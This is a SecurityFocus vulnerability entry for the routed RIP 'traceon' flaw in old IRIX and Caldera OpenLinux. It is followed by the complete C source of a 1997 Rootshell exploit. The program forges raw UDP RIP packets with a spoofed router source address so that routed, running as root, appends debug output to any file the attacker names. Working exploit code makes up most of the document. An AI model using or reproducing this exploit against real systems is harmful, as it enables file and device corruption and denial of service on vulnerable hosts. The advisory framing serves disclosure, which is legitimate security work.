source: http://www.securityfocus.com/bid/2658/info

routed is a daemon used to dynamically update network routing tables. Certain operating systems (including IRIX 3.x up to 6.4 inclusive, Caldera OpenLinux 1.0 and 1.1) contain a routed version which allows attackers to write limited data to arbitrary files, with root privileges. routed communicates using the Routing Information Protocol (RIP - RFC1058, RFC1723). An obsolete command specified by this protocol is "traceon," which turns on certain debugging features and logs information to a file specified in the RIP packet.

Attackers can construct packets (typically with spoofed source addresses) to turn on this feature and cause routed to append debugging information to the specified trace file. Although the information thus written is limited to the normal routed debugging output, the files specified could include /dev files and therefore this could lead to a number of damaging scenarios including memory and disk corruption, denial of service, etc. 

/*
 * BSD 4.4 based routed trace file exploit
 *
 * (C) 1997 Rootshell [ http://www.rootshell.com/ ]
 *
 * <info@rootshell.com>
 *
 * routed has the ability for a packet to be sent to the daemon that will
 * turn on debug mode.  The packet is able to specify the file which is
 * later opened without any checks being placed on that file open.
 *
 * Result: You can append to any file on the filesystem.
 *
 * The following syscall is made AS ROOT.
 *
 * ftrace = fopen(file, "a");
 *
 * This is obviously a LARGE problem.
 *
 * Solaris 2.6 seems to ignore these packets and returns the following
 * error.  Mileage may vary.. :
 *
 * in.routed[6580]: trace command from 1.2.3.4 - ignored
 *
 * Redhat routed was tested and found to check if the packet came from
 * a valid router.  If you spoof the RIP packet from their default
 * gateway the packet is ACCEPTED.
 *
 * Note: Once a trace file is opened you must close the trace file and then
 * open another file.
 *
 * Exploit tested under Linux 2.0.x.
 *
 * ps.  Just run gated! (http://www.gated.org/)
 *
 */


/* File to append to on filesystem with debug output */

#define FILETOCREATE	"/tmp/rootshell"


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <linux/udp.h>
#include <netinet/protocols.h>
#include <netdb.h>
#include <protocols/routed.h>
#include <linux/route.h>

#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }

/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

/* Send faked UDP packet. */
int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long  int saddr, daddr;
char *data;
{  
  struct iphdr  ip;
  struct udphdr udp;
  static char packet[8192];

  /* Fill in IP header values. */
  ip.ihl      = 5;
  ip.version  = 4;
  ip.tos      = 0;
  ip.tot_len  = htons(28 + datalen);
  ip.id       = htons(31337 + (rand()%100));
  ip.frag_off = 0;
  ip.ttl      = 255;
  ip.protocol = IPPROTO_UDP;
  ip.check    = 0;
  ip.saddr    = saddr;
  ip.daddr    = daddr;
  ip.check    = in_cksum((char *)&ip, sizeof(ip));

  /* Fill in UDP header values. Checksums are unnecassary. */
  udp.source = htons(sport);
  udp.dest   = htons(dport);
  udp.len    = htons(8 + datalen);
  udp.check  = (short) 0;

  /* Copy the headers into our character array. */
  memcpy(packet, (char *)&ip, sizeof(ip));
  memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
  memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);

  return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
         (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
}

/* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
unsigned int lookup(host)
char *host;
{
  unsigned int addr;
  struct hostent *he;

  addr = inet_addr(host);	/* Try if it's a "127.0.0.1" style string */
  if (addr == -1) 		/* If not, lookup the host */
  {
    he = gethostbyname(host);
    if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
      return 0;

    bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
  }
  return(addr);
}

void
main(argc, argv)
int argc; char **argv;
{
  unsigned int saddr, daddr;
  struct sockaddr_in sin;
  int s;
  struct rip rp;

  if(argc != 4)
    errs("\nSee http://www.rootshell.com/\n\nUsage: %s <source_router> <dest_addr> <command>\n\ncommand: 3 = trace on, 4 =
trace off\n\n",argv[0]);

  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err("Unable to open raw socket.\n");

  if(!(saddr = lookup(argv[1])))
    err("Unable to lookup source address.\n");
  if(!(daddr = lookup(argv[2])))
    err("Unable to lookup destination address.\n");

  sin.sin_family     = AF_INET;
  sin.sin_addr.s_addr= daddr;
  sin.sin_port       = 520;

  /* Fill in RIP packet info */
  rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */
  rp.rip_vers = RIPVERSION; /* Must be version 1 */
  sprintf(rp.rip_tracefile, FILETOCREATE);

  if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
  {
    perror("sendpkt_udp");
    err("Error sending the UDP packet.\n");
  }
}

